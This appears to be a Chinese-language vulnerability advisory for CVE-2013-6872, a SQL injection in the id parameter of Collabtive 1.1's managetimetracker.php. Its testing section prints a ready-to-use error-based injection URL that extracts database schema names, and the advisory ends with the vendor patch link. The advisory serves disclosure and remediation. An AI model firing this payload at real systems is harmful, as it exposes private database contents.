Collabtive 'managetimetracker.php'脚本SQL注入漏洞


发布日期:2014-01-15
更新日期:2014-01-17

受影响系统:
Collabtive Collabtive 1.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 64943
CVE(CAN) ID: CVE-2013-6872

Collabtive是基本Web的开源项目管理软件,用PHP及JavaScript编写。

Collabtive 1.1及其他版本没有正确过滤managetimetracker.php页面的id参数,在实现上存在双查询类型的SQL注入漏洞,经过身份验证的攻击者利用此漏洞可获取数据库敏感信息。

<*来源:Yogesh Phadtare
 
  链接:http://packetstormsecurity.com/files/124777/Collabtive-1.1-SQL-Injection.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&amp;amp;id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

建议:
--------------------------------------------------------------------------------
厂商补丁:

Collabtive
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://collabtive.o-dyn.de/downloadref.php

相关内容